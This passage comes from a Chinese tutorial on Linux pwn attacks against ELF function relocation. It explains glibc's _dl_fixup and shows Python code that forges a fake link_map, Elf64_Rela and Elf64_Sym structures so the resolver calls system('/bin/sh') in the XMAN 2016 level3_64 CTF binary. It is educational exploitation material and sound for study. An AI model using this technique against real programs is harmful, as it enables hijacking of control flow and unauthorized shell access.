),而另一個則設置為system函數和這個函數的偏移值。既然我們都偽造了link_map,那么顯然l_addr是我們可以控制的,而sym根據我們的源碼分析,它的值最終也是從link_map中獲得的(很多節區地址,包括.rel.plt, .dynsym, dynstr都是從中取值,更多細節可以對比調試時的link_map數據與源碼進行學習)
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
所以這兩個值我們都可以進行偽造。此時只要我們知道libc的版本,就能算出system與已解析函數之間的偏移了。
說到這里可能有人會想到,既然偽造的link_map那么厲害,那么我們為什么不在前面的dl-resolve中直接偽造出.dynstr的地址,而要通過一條冗長的求值鏈返回到system呢?我們來看一下上面的這行代碼
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
根據位于glibc/include/Link.h中的link_map結構體定義,這里的l_scope是一個當前link_map的查找范圍數組。我們從link_map結構體的定義可以看出來其實這是一個雙鏈表,每一個link_map元素都保存了一個函數庫的信息。當查找某個符號的時候,實際上是通過遍歷整個雙鏈表,在每個函數庫中進行的查詢。顯然,我們不可能知道libc的link_map地址,所以我們沒辦法偽造l_scope,也就沒辦法偽造整個link_map使流程進入_dl_lookup_symbol_x,只能選擇讓流程進入“函數已被解析過”的分支。
回到主題,我們為了讓函數流程繞過_dl_lookup_symbol_x,必須偽造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根據sym的定義,我們就得偽造symtab和reloc->r_info,所以我們得偽造DT_SYMTAB, DT_JMPREL,此外,我們得偽造strtab為可讀地址,所以還得偽造DT_STRTAB,所以我們需要偽造link_map前0xf8個字節的數據,需要關注的分別是位于link_map+0的l_addr,位于link_map+0x68的DT_STRTAB指針,位于link_map+0x70的DT_SYMTAB指針和位于link_map+0xF8的DT_JMPREL指針。此外,我們需要偽造Elf64_Sym結構體,Elf64_Rela結構體,由于DT_JMPREL指向的是Elf64_Dyn結構體,我們也需要偽造一個這樣的結構體。當然,我們得讓reloc_offset為0.為了偽造的方便,我們可以選擇讓l->l_addr為已解析函數內存地址和system的偏移,sym->st_value為已解析的函數地址的指針-8,即其got表項-8。(這部分在源碼中似乎并沒有體現出來,但是調試的時候發現實際上會+8,原因不明)我們還是以~/XMAN 2016-level3_64/level3_64為例進行分析。
首先我們來構造一個fake link_map
fake_link_map_data = ""fake_link_map_data += p64(offset) # +0x00 l_addr offset = system - __libc_start_mainfake_link_map_data += '\x00'*0x60 fake_link_map_data += p64(DT_STRTAB) #+0x68 DT_STRTABfake_link_map_data += p64(DT_SYMTAB) #+0x70 DT_SYMTABfake_link_map_data += '\x00'*0x80 fake_link_map_data += p64(DT_JMPREL) #+0xf8 DT_JMPREL后面的link_map數據由于我們用不上就不構造了。根據我們的分析,我們留出來四個8字節數據區用來填充相應的數據,其他部分都置為0. 接下來我們偽造出三個結構體 fake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0) #d_tagfake_Elf64_Dyn += p64(0) #d_ptrfake_Elf64_Rela = ""fake_Elf64_Rela += p64(0) #r_offsetfake_Elf64_Rela += p64(7) #r_infofake_Elf64_Rela += p64(0) #r_addendfake_Elf64_Sym = ""fake_Elf64_Sym += p32(0) #st_namefake_Elf64_Sym += 'AAAA' #st_info, st_other, st_shndxfake_Elf64_Sym += p64(main_got-8) #st_valuefake_Elf64_Sym += p64(0) #st_size
顯然我們必須把r_info設置為7以通過檢查。為了使ELFW(ST_VISIBILITY) (sym->st_other)不為0從而躲過_dl_lookup_symbol_x,我們直接把st_other設置為非0.st_other也必須為非0以避開_dl_lookup_symbol_x,進入我們希望要的分支。
我們注意到fake_link_map中間有許多用\x00填充的空間,這些地方實際上寫啥都不影響我們的攻擊,因此我們充分利用空間,把三個結構體跟/bin/sh\x00也塞進去
offset = 0x253a0 #system - __libc_start_mainfake_Elf64_Dyn = ""fake_Elf64_Dyn += p64(0) #d_tag 從link_map中找.rel.plt不需要用到標簽, 隨意設置fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) #d_ptr 指向偽造的Elf64_Rela結構體,由于reloc_offset也被控制為0,不需要偽造多個結構體fake_Elf64_Rela = ""fake_Elf64_Rela += p64(fake_link_map_addr - offset) #r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行fake_Elf64_Rela += p64(7) #r_info index設置為0,最后一字節必須為7fake_Elf64_Rela += p64(0) #r_addend 隨意設置fake_Elf64_Sym = ""fake_Elf64_Sym += p32(0) #st_name 隨意設置fake_Elf64_Sym += 'AAAA' #st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支fake_Elf64_Sym += p64(main_got-8) #st_value 已解析函數的got表地址-8,-8體現在匯編代碼中,原因不明fake_Elf64_Sym += p64(0) #st_size 隨意設置fake_link_map_data = ""fake_link_map_data += p64(offset) #l_addr,偽造為兩個函數的地址偏移值fake_link_map_data += fake_Elf64_Dynfake_link_map_data += fake_Elf64_Relafake_link_map_data += fake_Elf64_Symfake_link_map_data += '\x00'*0x20fake_link_map_data += p64(fake_link_map_addr) #DT_STRTAB 設置為一個可讀的地址fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB 指向對應結構體數組的地址fake_link_map_data += "/bin/sh\x00" fake_link_map_data += '\x00'*0x78fake_link_map_data += p64(fake_link_map_addr + 0x8) #DT_JMPREL 指向對應數組結構體的地址
現在我們需要做的就是棧劫持,偽造參數跳轉到_dl_fixup
了。前兩者好說,_dl_fixup
地址也在got表中的第2項。但是問題是這是一個保存了函數地址的地址,我們沒辦法放在棧上用ret跳過去,難道要再用一次萬能gadgets嗎?不,我們可以選擇這個
把這行指令地址放到棧上,用ret就可以跳進_fix_up
.現在我們需要的東西都齊了,只要把它們組裝起來,pwn it!
上述就是小編為大家分享的Linux pwn中針對函數重定位流程的幾種攻擊分別是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。